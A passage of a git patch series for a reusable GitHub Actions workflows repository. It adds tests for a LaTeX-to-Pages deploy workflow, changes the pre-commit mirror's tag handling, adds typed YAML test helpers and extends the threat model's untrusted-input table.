The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+latex-to-pages.feature.md b/changelog.d/+latex-to-pages.feature.md new file mode 100644 index 0000000..376aad7 --- /dev/null +++ b/changelog.d/+latex-to-pages.feature.md @@ -0,0 +1,2 @@ +Add `latex-to-pages.yaml`, a reusable workflow that builds a LaTeX root file with a commit-pinned `SOURCE_DATE_EPOCH`, +publishes the PDF to GitHub Pages from `main`, and waits until Pages serves the built bytes. diff --git a/tests/latex_to_pages/test_latex.py b/tests/latex_to_pages/test_latex.py new file mode 100644 index 0000000..6edfeed --- /dev/null +++ b/tests/latex_to_pages/test_latex.py @@ -0,0 +1,157 @@ +from __future__ import annotations + +import hashlib +import os +import subprocess +from pathlib import Path +from typing import Any, Final + +import pytest +import yaml +from conftest import workflow_step + +WORKFLOW: Final[str] = "latex-to-pages.yaml" +ROOT: Final = Path(__file__).resolve().parents[2] +GH_STUB: Final[str] = """\ +#!/usr/bin/env bash +case "$*" in +*pages/builds*) echo "abc built" ;; +*) echo abc ;; +esac +""" +CURL_STUB: Final[str] = '#!/usr/bin/env bash\ncat "$SERVED_FILE"\n' +NOOP_STUB: Final[str] = "#!/usr/bin/env bash\nexit 0\n" + + +def _workflow() -> dict[str, Any]: + return yaml.load((ROOT / ".github/workflows" / WORKFLOW).read_text(), Loader=yaml.BaseLoader) + + +def _step(job: str, name: str) -> dict[str, Any]: + return next(step for step in _workflow()["jobs"][job]["steps"] if step.get("name") == name) + + +@pytest.fixture +def stubs(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + for name, body in (("gh", GH_STUB), ("curl", CURL_STUB), ("sleep", NOOP_STUB)): + script = bin_dir / name + script.write_text(body) + script.chmod(0o755) + return bin_dir + + +def test_top_level_grants_nothing_and_each_job_holds_only_its_scope() -> None: + workflow = _workflow() + assert workflow["permissions"] == {} + assert workflow["jobs"]["build"]["permissions"] == {"contents": "read"} + assert workflow["jobs"]["deploy"]["permissions"] == {"contents": "write", "pages": "read"} + + +def test_build_pins_clock_and_bounds_runtime() -> None: + build = _workflow()["jobs"]["build"] + assert build["timeout-minutes"] == "20" + compile_step = _step("build", "๐Ÿ“• Compile LaTeX document") + assert "SOURCE_DATE_EPOCH=${{ steps.epoch.outputs.epoch }}" in compile_step["with"]["pre_compile"] + assert _workflow()["jobs"]["deploy"]["timeout-minutes"] == "30" + + +def test_checkouts_keep_credentials_out_of_the_workspace() -> None: + for job in _workflow()["jobs"].values(): + checkout = next(step for step in job["steps"] if str(step.get("uses", "")).startswith("actions/checkout@")) + assert checkout["with"] == {"persist-credentials": "false"} + + +@pytest.mark.parametrize( + ("root_file", "pdf"), + [ + pytest.param("main.tex", "main.pdf", id="root"), + pytest.param("doc/cv.tex", "cv.pdf", id="nested"), + ], +) +def test_records_pdf_name_and_digest(tmp_path: Path, root_file: str, pdf: str) -> None: + (tmp_path / Path(root_file).parent).mkdir(parents=True, exist_ok=True) + (tmp_path / Path(root_file).with_suffix(".pdf")).write_bytes(b"pdf bytes") + output = tmp_path / "output" + result = workflow_step( + WORKFLOW, + "build", + "๐Ÿ”Ž Record PDF name and digest", + tmp_path, + {"ROOT_FILE": root_file, "GITHUB_OUTPUT": str(output)}, + ) + assert result.returncode == 0, result.stderr + fields = dict(line.split("=", 1) for line in output.read_text().splitlines()) + assert fields == { + "path": str(Path(root_file).with_suffix(".pdf")), + "name": Path(pdf).name, + "sha256": hashlib.sha256(b"pdf bytes").hexdigest(), + } + + +def test_missing_pdf_fails_the_build(tmp_path: Path) -> None: + result = workflow_step( + WORKFLOW, + "build", + "๐Ÿ”Ž Record PDF name and digest", + tmp_path, + {"ROOT_FILE": "main.tex", "GITHUB_OUTPUT": str(tmp_path / "output")}, + ) + assert result.returncode != 0 + + +@pytest.mark.parametrize( + ("content", "accepted"), + [ + pytest.param(b"pdf bytes", True, id="matches-build"), + pytest.param(b"tampered", False, id="tampered-download"), + ], +) +def test_deploy_rejects_a_download_that_differs_from_the_build( + tmp_path: Path, + content: bytes, + accepted: bool, +) -> None: + (tmp_path / "built").mkdir() + (tmp_path / "built/main.pdf").write_bytes(content) + result = workflow_step( + WORKFLOW, + "deploy", + "๐Ÿ” Check downloaded PDF digest", + tmp_path, + {"PDF_NAME": "main.pdf", "PDF_SHA256": hashlib.sha256(b"pdf bytes").hexdigest()}, + ) + assert (result.returncode == 0) is accepted, result.stderr + + +def _verify(tmp_path: Path, stubs: Path, served: bytes, expected: str) -> subprocess.CompletedProcess[str]: + served_file = tmp_path / "served.pdf" + served_file.write_bytes(served) + return workflow_step( + WORKFLOW, + "deploy", + "๐Ÿ” Verify published PDF", + tmp_path, + { + "GH_TOKEN": "token", + "GITHUB_REPOSITORY": "owner/repo", + "GITHUB_RUN_ID": "1", + "URL": "https://owner.github.io/repo/main.pdf", + "PDF_SHA256": expected, + "SERVED_FILE": str(served_file), + "PATH": f"{stubs}:{os.environ['PATH']}", + }, + ) + + +def test_verify_loop_accepts_the_served_bytes_it_built(tmp_path: Path, stubs: Path) -> None: + result = _verify(tmp_path, stubs, b"built pdf", hashlib.sha256(b"built pdf").hexdigest()) + assert result.returncode == 0, result.stderr + assert "Pages serves the freshly built PDF" in result.stdout + + +def test_verify_loop_fails_when_pages_keeps_serving_other_bytes(tmp_path: Path, stubs: Path) -> None: + result = _verify(tmp_path, stubs, b"stale pdf", hashlib.sha256(b"built pdf").hexdigest()) + assert result.returncode != 0 + assert "::error::" in result.stderr From 31b369346ff928ed0b3ce435ebc41b461a261e4b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:54:52 -0800 Subject: [PATCH 22/38] =?UTF-8?q?=F0=9F=90=9B=20fix(mirror):=20accept=20an?= =?UTF-8?q?=20already=20published=20version?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The daily mirror run failed whenever the package version had already been tagged, even when the regenerated content matched the tag. Compare the regenerated tree with the published tag's tree instead: identical content ends the run with a notice and no push, and different content fails with both tree IDs so the maintainer knows to bump the version. --- .../workflows/publish-pre-commit-mirror.yaml | 29 +++---- README.md | 5 +- changelog.d/+pre-commit-mirror.feature.md | 4 +- .../publish_pre_commit_mirror/test_mirror.py | 77 +++++++++++-------- 4 files changed, 66 insertions(+), 49 deletions(-) diff --git a/.github/workflows/publish-pre-commit-mirror.yaml b/.github/workflows/publish-pre-commit-mirror.yaml index 05d6d7f..99fcf49 100644 --- a/.github/workflows/publish-pre-commit-mirror.yaml +++ b/.github/workflows/publish-pre-commit-mirror.yaml @@ -75,29 +75,30 @@ jobs: exit 0 fi version=$(cat .version) - git -c user.name='Github Actions' \ - -c user.email='41898282+github-actions[bot]@users.noreply.github.com' \ - commit -m "Mirror: $version" - echo "version=$version" >>"$GITHUB_OUTPUT" - - name: ๐Ÿ” Check the release tag is new - if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }} - env: - VERSION: ${{ steps.commit.outputs.version }} - run: | - set -euo pipefail status=0 - git ls-remote --exit-code --tags origin "refs/tags/v$VERSION" >/dev/null || status=$? + git ls-remote --exit-code --tags origin "refs/tags/v$version" >/dev/null || status=$? case "$status" in 0) - echo "::error::tag v$VERSION already exists; a moved tag would change the rev users have pinned, bump the package version" >&2 - exit 1 + git fetch --quiet --no-tags origin "refs/tags/v$version:refs/tags/v$version" + published=$(git rev-parse "v$version^{tree}") + regenerated=$(git write-tree) + if [[ "$published" != "$regenerated" ]]; then + echo "::error::v$version is published with a different mirror tree ($published), the regenerated tree is $regenerated; bump the package version to publish new content" >&2 + exit 1 + fi + echo "::notice::v$version is already published with identical mirror content, nothing to push" + exit 0 ;; - 2) echo "Tag v$VERSION is new" ;; + 2) ;; *) echo "::error::could not read tags from origin, git exited with $status" >&2 exit "$status" ;; esac + git -c user.name='Github Actions' \ + -c user.email='41898282+github-actions[bot]@users.noreply.github.com' \ + commit -m "Mirror: $version" + echo "version=$version" >>"$GITHUB_OUTPUT" - name: ๐Ÿš€ Push mirror commit and tag if: ${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }} env: diff --git a/README.md b/README.md index 8470f06..83cd30b 100644 --- a/README.md +++ b/README.md @@ -1392,8 +1392,9 @@ the branch and creates the `v` tag, then a GitHub release is created. - Formatting runs twice. The first run may rewrite files and exit 1; the second run must pass on the rewritten tree. Any other exit status fails the job. -- A tag that already exists on origin fails the run. A published tag is never moved, because a moved tag changes the rev - users have pinned. Bump the package version to publish new content. +- A version whose tag already exists on origin is a no-op when the regenerated tree matches the tag, so the daily run + succeeds with a notice. A different tree fails the run and names both trees. A published tag is never moved, because a + moved tag changes the rev users have pinned; bump the package version to publish new content. - The job runs the repository's pre-commit hooks while it holds `contents: write`. Trigger it on pushes to `main`, schedules, and manual dispatches, not on `pull_request`, so no pull request's hook code runs with that token. diff --git a/changelog.d/+pre-commit-mirror.feature.md b/changelog.d/+pre-commit-mirror.feature.md index 5bd5ab4..7754462 100644 --- a/changelog.d/+pre-commit-mirror.feature.md +++ b/changelog.d/+pre-commit-mirror.feature.md @@ -1,3 +1,3 @@ Add `publish-pre-commit-mirror.yaml`, a reusable workflow for pre-commit mirrors that pins the mirror maker and prek, -fails on a clean-tree mismatch instead of masking it, refuses to move a published tag, and pushes the branch and tag in -one atomic push. +checks formatting with a second run, never moves a published tag, treats an already-published identical version as a +no-op, and pushes the branch and tag in one atomic push. diff --git a/tests/publish_pre_commit_mirror/test_mirror.py b/tests/publish_pre_commit_mirror/test_mirror.py index 3b3087a..1e999f3 100644 --- a/tests/publish_pre_commit_mirror/test_mirror.py +++ b/tests/publish_pre_commit_mirror/test_mirror.py @@ -1,6 +1,7 @@ from __future__ import annotations import os +import subprocess from pathlib import Path from typing import Any, Final @@ -80,20 +81,6 @@ def _repository(tmp_path: Path) -> Path: return clone -def test_commit_step_records_version_only_for_changes(tmp_path: Path) -> None: - clone = _repository(tmp_path) - output = tmp_path / "output" - unchanged = workflow_step(WORKFLOW, "mirror", "๐Ÿ”„ Commit mirror changes", clone, {"GITHUB_OUTPUT": str(output)}) - assert unchanged.returncode == 0, unchanged.stderr - assert not output.exists() - - (clone / ".version").write_text("1.0.1\n") - changed = workflow_step(WORKFLOW, "mirror", "๐Ÿ”„ Commit mirror changes", clone, {"GITHUB_OUTPUT": str(output)}) - assert changed.returncode == 0, changed.stderr - assert output.read_text() == "version=1.0.1\n" - assert run(clone, "git", "log", "-1", "--format=%s").stdout.strip() == "Mirror: 1.0.1" - - def _remote_with_tag(tmp_path: Path) -> tuple[Path, Path]: remote = tmp_path / "remote.git" run(tmp_path, "git", "init", "-q", "--bare", str(remote)) @@ -104,23 +91,51 @@ def _remote_with_tag(tmp_path: Path) -> tuple[Path, Path]: return remote, clone -@pytest.mark.parametrize( - ("version", "accepted"), - [ - pytest.param("1.0.0", False, id="published-tag"), - pytest.param("1.0.1", True, id="new-tag"), - ], -) -def test_tag_check_refuses_to_move_a_published_tag(tmp_path: Path, version: str, accepted: bool) -> None: +def _commit_step(clone: Path, output: Path) -> subprocess.CompletedProcess[str]: + return workflow_step(WORKFLOW, "mirror", "๐Ÿ”„ Commit mirror changes", clone, {"GITHUB_OUTPUT": str(output)}) + + +def test_commit_step_commits_an_unpublished_version(tmp_path: Path) -> None: _, clone = _remote_with_tag(tmp_path) - result = workflow_step( - WORKFLOW, - "mirror", - "๐Ÿ” Check the release tag is new", - clone, - {"VERSION": version}, - ) - assert (result.returncode == 0) is accepted, result.stderr + output = tmp_path / "output" + (clone / ".version").write_text("1.0.1\n") + result = _commit_step(clone, output) + assert result.returncode == 0, result.stderr + assert output.read_text() == "version=1.0.1\n" + assert run(clone, "git", "log", "-1", "--format=%s").stdout.strip() == "Mirror: 1.0.1" + + +def test_commit_step_skips_when_regeneration_changes_nothing(tmp_path: Path) -> None: + clone = _repository(tmp_path) + output = tmp_path / "output" + result = _commit_step(clone, output) + assert result.returncode == 0, result.stderr + assert not output.exists() + + +def test_commit_step_is_a_noop_when_the_published_tree_matches(tmp_path: Path) -> None: + _, clone = _remote_with_tag(tmp_path) + head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() + (clone / "README.md").write_text("diverged\n") + run(clone, "git", "commit", "-q", "-am", "Diverge") + (clone / "README.md").write_text('rev: "v0.0.0"\n') + output = tmp_path / "output" + result = _commit_step(clone, output) + assert result.returncode == 0, result.stderr + assert "already published with identical mirror content" in result.stdout + assert not output.exists() + assert run(clone, "git", "rev-parse", "HEAD").stdout.strip() != head + assert run(clone, "git", "rev-list", "--count", "HEAD").stdout.strip() == "2" + + +def test_commit_step_fails_when_the_published_tree_differs(tmp_path: Path) -> None: + _, clone = _remote_with_tag(tmp_path) + head = run(clone, "git", "rev-parse", "HEAD").stdout.strip() + (clone / "README.md").write_text('rev: "v9.9.9"\n') + result = _commit_step(clone, tmp_path / "output") + assert result.returncode != 0 + assert "published with a different mirror tree" in result.stderr + assert run(clone, "git", "rev-parse", "HEAD").stdout.strip() == head def test_push_step_publishes_branch_and_tag_together(tmp_path: Path) -> None: @@ -169,5 +184,5 @@ def test_concurrency_queues_mirror_runs() -> None: def test_release_steps_run_only_on_main_pushes() -> None: - for name in ("๐Ÿ” Check the release tag is new", "๐Ÿš€ Push mirror commit and tag", "๐ŸŽ‰ Create GitHub release"): + for name in ("๐Ÿš€ Push mirror commit and tag", "๐ŸŽ‰ Create GitHub release"): assert _step(name)["if"] == "${{ github.ref == 'refs/heads/main' && steps.commit.outputs.version != '' }}" From cbc03f88d74536ac628aa199cc6a044ff36ad4a7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:57:10 -0800 Subject: [PATCH 23/38] =?UTF-8?q?=E2=99=BB=EF=B8=8F=20refactor(tests):=20t?= =?UTF-8?q?ype=20workflow=20test=20helpers?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Replace the Any-typed YAML dicts in the workflow tests with a recursive JsonValue alias. load_yaml validates the parsed document once with a TypeIs guard, and small accessors (at, mapping, text, steps, step) narrow each read, so no test body touches Any. The guards get direct tests. --- tests/conftest.py | 72 +++++++++++++++++-- tests/jetbrains_plugin_check/test_check.py | 50 +++++++------ tests/latex_to_pages/test_latex.py | 34 ++++----- .../publish_pre_commit_mirror/test_mirror.py | 40 +++++------ tests/test_conftest.py | 26 ++++++- 5 files changed, 157 insertions(+), 65 deletions(-) diff --git a/tests/conftest.py b/tests/conftest.py index 7fac2c1..9d2ef55 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -11,7 +11,7 @@ from collections.abc import Iterator, Mapping from pathlib import Path from textwrap import dedent -from typing import Final, TypedDict, cast +from typing import Final, TypedDict, TypeIs, cast import certifi import coverage @@ -361,6 +361,63 @@ def _run_action( return subprocess.CompletedProcess(command, 0, "".join(stdout), "".join(stderr)), outputs +type JsonValue = str | int | float | bool | None | list[JsonValue] | dict[str, JsonValue] +type JsonObject = dict[str, JsonValue] + + +def is_json(value: object) -> TypeIs[JsonValue]: + if isinstance(value, list): + return all(is_json(item) for item in value) + if isinstance(value, dict): + return is_json_object(value) + return value is None or isinstance(value, str | int | float | bool) + + +def is_json_object(value: object) -> TypeIs[JsonObject]: + return isinstance(value, dict) and all(isinstance(key, str) and is_json(item) for key, item in value.items()) + + +def load_yaml(path: Path) -> JsonObject: + document = yaml.load(path.read_text(), Loader=yaml.BaseLoader) + if not is_json_object(document): + msg = f"{path} is not a YAML mapping" + raise TypeError(msg) + return document + + +def mapping(value: JsonValue) -> JsonObject: + if not is_json_object(value): + msg = f"expected a mapping, got {value!r}" + raise TypeError(msg) + return value + + +def text(value: JsonValue) -> str: + if not isinstance(value, str): + msg = f"expected text, got {value!r}" + raise TypeError(msg) + return value + + +def at(document: JsonObject, *keys: str) -> JsonValue: + value: JsonValue = document + for key in keys: + value = mapping(value)[key] + return value + + +def steps(document: JsonObject, job: str) -> list[JsonObject]: + value = at(document, "jobs", job, "steps") + if not isinstance(value, list): + msg = f"{job} has no step list" + raise TypeError(msg) + return [mapping(item) for item in value] + + +def step(document: JsonObject, job: str, name: str) -> JsonObject: + return next(item for item in steps(document, job) if item.get("name") == name) + + def workflow_step( workflow: str, job: str, @@ -368,10 +425,9 @@ def workflow_step( cwd: Path, environment: Mapping[str, str], ) -> subprocess.CompletedProcess[str]: - steps = yaml.safe_load((Path(__file__).resolve().parents[1] / ".github/workflows" / workflow).read_text())["jobs"][ - job - ]["steps"] - script = next(step["run"] for step in steps if step.get("name") == name) + script = text( + step(load_yaml(Path(__file__).resolve().parents[1] / ".github/workflows" / workflow), job, name)["run"] + ) return subprocess.run( ["bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script], cwd=cwd, @@ -595,9 +651,15 @@ def read_outputs(path: Path) -> dict[str, str]: "CALLER", "WORKFLOWS", "action", + "at", + "load_yaml", + "mapping", "read_outputs", "run", "run_workflow_step", + "step", + "steps", + "text", "workflow_env", "workflow_step", ] diff --git a/tests/jetbrains_plugin_check/test_check.py b/tests/jetbrains_plugin_check/test_check.py index b80abc5..f56fc95 100644 --- a/tests/jetbrains_plugin_check/test_check.py +++ b/tests/jetbrains_plugin_check/test_check.py @@ -4,22 +4,22 @@ import json import subprocess from pathlib import Path -from typing import Any, Final +from typing import Final import pytest -import yaml -from conftest import workflow_step +from conftest import JsonObject, at, load_yaml, mapping, step, steps, text, workflow_step WORKFLOW: Final[str] = "jetbrains-plugin-check.yaml" ROOT: Final = Path(__file__).resolve().parents[2] +GATE_NEEDS: Final[list[str]] = ["build", "verify", "ui-test"] -def _workflow() -> dict[str, Any]: - return yaml.load((ROOT / ".github/workflows" / WORKFLOW).read_text(), Loader=yaml.BaseLoader) +def _workflow() -> JsonObject: + return load_yaml(ROOT / ".github/workflows" / WORKFLOW) -def _step(job: str, name: str) -> dict[str, Any]: - return next(step for step in _workflow()["jobs"][job]["steps"] if step.get("name") == name) +def _step(job: str, name: str) -> JsonObject: + return step(_workflow(), job, name) def _record_digest(directory: Path, output: Path) -> subprocess.CompletedProcess[str]: @@ -80,33 +80,33 @@ def test_plugin_version_rejects_sed_metacharacters(tmp_path: Path) -> None: def test_verify_matrix_default_checks_python_only() -> None: - default = _workflow()["on"]["workflow_call"]["inputs"]["verify-matrix"]["default"] + default = text(at(_workflow(), "on", "workflow_call", "inputs", "verify-matrix", "default")) assert json.loads(default) == [{"label": "PY", "ide": "PY", "version": ""}] def test_ui_timeout_input_bounds_ide_start() -> None: - assert _workflow()["on"]["workflow_call"]["inputs"]["ui-test-timeout"]["default"] == "300" + assert at(_workflow(), "on", "workflow_call", "inputs", "ui-test-timeout", "default") == "300" assert _step("ui-test", "๐Ÿงช Run UI tests")["env"] == {"UI_TEST_TIMEOUT": "${{ inputs.ui-test-timeout }}"} def test_ui_test_failure_uploads_reports() -> None: upload = _step("ui-test", "๐Ÿ“ค Upload UI test artifacts") assert upload["if"] == "${{ failure() }}" - assert "build/idea-sandbox/**/log/idea.log" in upload["with"]["path"] + assert "build/idea-sandbox/**/log/idea.log" in text(mapping(upload["with"])["path"]) def test_jobs_hold_read_permission_only() -> None: workflow = _workflow() assert workflow["permissions"] == {} for name in ("build", "verify", "ui-test"): - assert workflow["jobs"][name]["permissions"] == {"contents": "read"} - assert workflow["jobs"]["gate"]["permissions"] == {} + assert mapping(at(workflow, "jobs", name))["permissions"] == {"contents": "read"} + assert mapping(at(workflow, "jobs", "gate"))["permissions"] == {} def test_outputs_come_from_build_job() -> None: - outputs = _workflow()["on"]["workflow_call"]["outputs"] - assert outputs["archive-sha256"]["value"] == "${{ jobs.build.outputs.archive-sha256 }}" - assert outputs["artifact-id"]["value"] == "${{ jobs.build.outputs.artifact-id }}" + outputs = at(_workflow(), "on", "workflow_call", "outputs") + assert mapping(mapping(outputs)["archive-sha256"])["value"] == "${{ jobs.build.outputs.archive-sha256 }}" + assert mapping(mapping(outputs)["artifact-id"])["value"] == "${{ jobs.build.outputs.artifact-id }}" def test_verify_step_passes_matrix_entries_through_env() -> None: @@ -116,6 +116,10 @@ def test_verify_step_passes_matrix_entries_through_env() -> None: } +def test_gate_needs_build_verify_and_ui_test() -> None: + assert at(_workflow(), "jobs", "gate", "needs") == GATE_NEEDS + + @pytest.mark.parametrize( ("failed_result", "accepted"), [ @@ -125,10 +129,9 @@ def test_verify_step_passes_matrix_entries_through_env() -> None: ], ) def test_gate_requires_every_job_to_succeed(failed_result: str | None, accepted: bool, tmp_path: Path) -> None: - names = _workflow()["jobs"]["gate"]["needs"] - needs = {name: {"result": "success"} for name in names} + needs = {name: {"result": "success"} for name in GATE_NEEDS} if failed_result is not None: - needs[names[-1]] = {"result": failed_result} + needs[GATE_NEEDS[-1]] = {"result": failed_result} result = workflow_step( WORKFLOW, "gate", @@ -140,8 +143,9 @@ def test_gate_requires_every_job_to_succeed(failed_result: str | None, accepted: def test_run_blocks_take_no_expressions_and_mask_no_failures() -> None: - for job in _workflow()["jobs"].values(): - for step in job.get("steps", []): - script = step.get("run", "") - assert "${{" not in script, step.get("name") - assert "|| true" not in script, step.get("name") + workflow = _workflow() + for job in mapping(at(workflow, "jobs")): + for item in steps(workflow, job): + script = text(item.get("run", "")) + assert "${{" not in script, item.get("name") + assert "|| true" not in script, item.get("name") diff --git a/tests/latex_to_pages/test_latex.py b/tests/latex_to_pages/test_latex.py index 6edfeed..b765a47 100644 --- a/tests/latex_to_pages/test_latex.py +++ b/tests/latex_to_pages/test_latex.py @@ -4,11 +4,10 @@ import os import subprocess from pathlib import Path -from typing import Any, Final +from typing import Final import pytest -import yaml -from conftest import workflow_step +from conftest import JsonObject, at, load_yaml, mapping, step, steps, text, workflow_step WORKFLOW: Final[str] = "latex-to-pages.yaml" ROOT: Final = Path(__file__).resolve().parents[2] @@ -23,12 +22,12 @@ NOOP_STUB: Final[str] = "#!/usr/bin/env bash\nexit 0\n" -def _workflow() -> dict[str, Any]: - return yaml.load((ROOT / ".github/workflows" / WORKFLOW).read_text(), Loader=yaml.BaseLoader) +def _workflow() -> JsonObject: + return load_yaml(ROOT / ".github/workflows" / WORKFLOW) -def _step(job: str, name: str) -> dict[str, Any]: - return next(step for step in _workflow()["jobs"][job]["steps"] if step.get("name") == name) +def _step(job: str, name: str) -> JsonObject: + return step(_workflow(), job, name) @pytest.fixture @@ -45,22 +44,25 @@ def stubs(tmp_path: Path) -> Path: def test_top_level_grants_nothing_and_each_job_holds_only_its_scope() -> None: workflow = _workflow() assert workflow["permissions"] == {} - assert workflow["jobs"]["build"]["permissions"] == {"contents": "read"} - assert workflow["jobs"]["deploy"]["permissions"] == {"contents": "write", "pages": "read"} + assert at(workflow, "jobs", "build", "permissions") == {"contents": "read"} + assert at(workflow, "jobs", "deploy", "permissions") == {"contents": "write", "pages": "read"} def test_build_pins_clock_and_bounds_runtime() -> None: - build = _workflow()["jobs"]["build"] - assert build["timeout-minutes"] == "20" + assert at(_workflow(), "jobs", "build", "timeout-minutes") == "20" compile_step = _step("build", "๐Ÿ“• Compile LaTeX document") - assert "SOURCE_DATE_EPOCH=${{ steps.epoch.outputs.epoch }}" in compile_step["with"]["pre_compile"] - assert _workflow()["jobs"]["deploy"]["timeout-minutes"] == "30" + pre_compile = text(mapping(compile_step["with"])["pre_compile"]) + assert "SOURCE_DATE_EPOCH=${{ steps.epoch.outputs.epoch }}" in pre_compile + assert at(_workflow(), "jobs", "deploy", "timeout-minutes") == "30" def test_checkouts_keep_credentials_out_of_the_workspace() -> None: - for job in _workflow()["jobs"].values(): - checkout = next(step for step in job["steps"] if str(step.get("uses", "")).startswith("actions/checkout@")) - assert checkout["with"] == {"persist-credentials": "false"} + workflow = _workflow() + for job in mapping(at(workflow, "jobs")): + checkouts = [ + item for item in steps(workflow, job) if text(item.get("uses", "")).startswith("actions/checkout@") + ] + assert [item["with"] for item in checkouts] == [{"persist-credentials": "false"}] @pytest.mark.parametrize( diff --git a/tests/publish_pre_commit_mirror/test_mirror.py b/tests/publish_pre_commit_mirror/test_mirror.py index 1e999f3..e51c3d0 100644 --- a/tests/publish_pre_commit_mirror/test_mirror.py +++ b/tests/publish_pre_commit_mirror/test_mirror.py @@ -3,11 +3,10 @@ import os import subprocess from pathlib import Path -from typing import Any, Final +from typing import Final import pytest -import yaml -from conftest import run, workflow_step +from conftest import JsonObject, at, load_yaml, mapping, run, step, steps, text, workflow_step WORKFLOW: Final[str] = "publish-pre-commit-mirror.yaml" ROOT: Final = Path(__file__).resolve().parents[2] @@ -20,12 +19,12 @@ """ -def _workflow() -> dict[str, Any]: - return yaml.load((ROOT / ".github/workflows" / WORKFLOW).read_text(), Loader=yaml.BaseLoader) +def _workflow() -> JsonObject: + return load_yaml(ROOT / ".github/workflows" / WORKFLOW) -def _step(name: str) -> dict[str, Any]: - return next(step for step in _workflow()["jobs"]["mirror"]["steps"] if step.get("name") == name) +def _step(name: str) -> JsonObject: + return step(_workflow(), "mirror", name) @pytest.fixture @@ -150,7 +149,7 @@ def test_push_step_publishes_branch_and_tag_together(tmp_path: Path) -> None: def test_push_is_atomic_and_never_forces() -> None: - push = _step("๐Ÿš€ Push mirror commit and tag")["run"] + push = text(_step("๐Ÿš€ Push mirror commit and tag")["run"]) assert "--atomic" in push assert "--force" not in push assert " -f " not in push @@ -159,21 +158,22 @@ def test_push_is_atomic_and_never_forces() -> None: def test_checkout_uses_default_credentials_without_token_in_remote() -> None: checkout = _step("๐Ÿ“ฅ Check out repository") assert checkout["with"] == {"persist-credentials": "true"} - text = (ROOT / ".github/workflows" / WORKFLOW).read_text() - assert "set-url" not in text - assert "x-access-token" not in text + workflow_text = (ROOT / ".github/workflows" / WORKFLOW).read_text() + assert "set-url" not in workflow_text + assert "x-access-token" not in workflow_text def test_runs_pin_tools_and_never_interpolate_outputs() -> None: - text = (ROOT / ".github/workflows" / WORKFLOW).read_text() - assert "pre-commit-mirror-maker==1.14.0" in text - assert "prek==0.5.5" in text - assert 'version: "0.13.7"' in text - for job in _workflow()["jobs"].values(): - for step in job["steps"]: - script = step.get("run", "") - assert "${{" not in script, step.get("name") - assert "|| true" not in script, step.get("name") + workflow_text = (ROOT / ".github/workflows" / WORKFLOW).read_text() + assert "pre-commit-mirror-maker==1.14.0" in workflow_text + assert "prek==0.5.5" in workflow_text + assert 'version: "0.13.7"' in workflow_text + workflow = _workflow() + for job in mapping(at(workflow, "jobs")): + for item in steps(workflow, job): + script = text(item.get("run", "")) + assert "${{" not in script, item.get("name") + assert "|| true" not in script, item.get("name") def test_concurrency_queues_mirror_runs() -> None: diff --git a/tests/test_conftest.py b/tests/test_conftest.py index 0e0dea2..2372ff9 100644 --- a/tests/test_conftest.py +++ b/tests/test_conftest.py @@ -3,9 +3,33 @@ from pathlib import Path import pytest -from conftest import run +from conftest import load_yaml, mapping, run, steps, text def test_run_reports_failed_command(tmp_path: Path) -> None: with pytest.raises(AssertionError, match="false failed with exit code 1"): run(tmp_path, "false") + + +def test_load_yaml_rejects_a_top_level_sequence(tmp_path: Path) -> None: + path = tmp_path / "workflow.yaml" + path.write_text("- one\n") + with pytest.raises(TypeError, match="is not a YAML mapping"): + load_yaml(path) + + +def test_mapping_rejects_a_sequence() -> None: + with pytest.raises(TypeError, match="expected a mapping"): + mapping(["one"]) + + +def test_text_rejects_a_sequence() -> None: + with pytest.raises(TypeError, match="expected text"): + text(["one"]) + + +def test_steps_rejects_a_job_without_a_step_list(tmp_path: Path) -> None: + path = tmp_path / "workflow.yaml" + path.write_text("jobs:\n build:\n steps: none\n") + with pytest.raises(TypeError, match="has no step list"): + steps(load_yaml(path), "build") From 13452f21c1b99ff595978ad4e38749cf7d9153ef Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:57:10 -0800 Subject: [PATCH 24/38] =?UTF-8?q?=F0=9F=93=9D=20docs(threat-model):=20cove?= =?UTF-8?q?r=20gh-pages=20and=20tags?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The LaTeX deploy writes gh-pages and the pre-commit mirror writes a branch and tag from a caller repository. Name the new untrusted input, the write each one holds, and the controls, so reports can be classified. --- .github/THREAT_MODEL.md | 31 +++++++++++++++++++------------ 1 file changed, 19 insertions(+), 12 deletions(-) diff --git a/.github/THREAT_MODEL.md b/.github/THREAT_MODEL.md index f1cfd84..3ee8e7a 100644 --- a/.github/THREAT_MODEL.md +++ b/.github/THREAT_MODEL.md @@ -52,11 +52,12 @@ An attacker who controls any of these already has what github-workflows could gi ## Untrusted inputs -| Input | Comes from | What github-workflows guarantees | -| ----------------------------- | --------------------------- | ---------------------------------------------------------------------------------------------------- | -| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | -| Artifacts from read-only jobs | Jobs that ran project code | Each writer accepts only the paths its caller allows, as regular files or deletions, from the patch. | -| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | +| Input | Comes from | What github-workflows guarantees | +| ---------------------------------- | ------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. | +| Artifacts from read-only jobs | Jobs that ran project code | Each writer accepts only the paths its caller allows, as regular files or deletions, from the patch. | +| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. | +| Repository hooks and LaTeX sources | The caller's repository, including pull requests | LaTeX and pre-commit hook code runs in jobs without a write token, except the mirror job, which the caller limits to pushes to `main`, schedules and 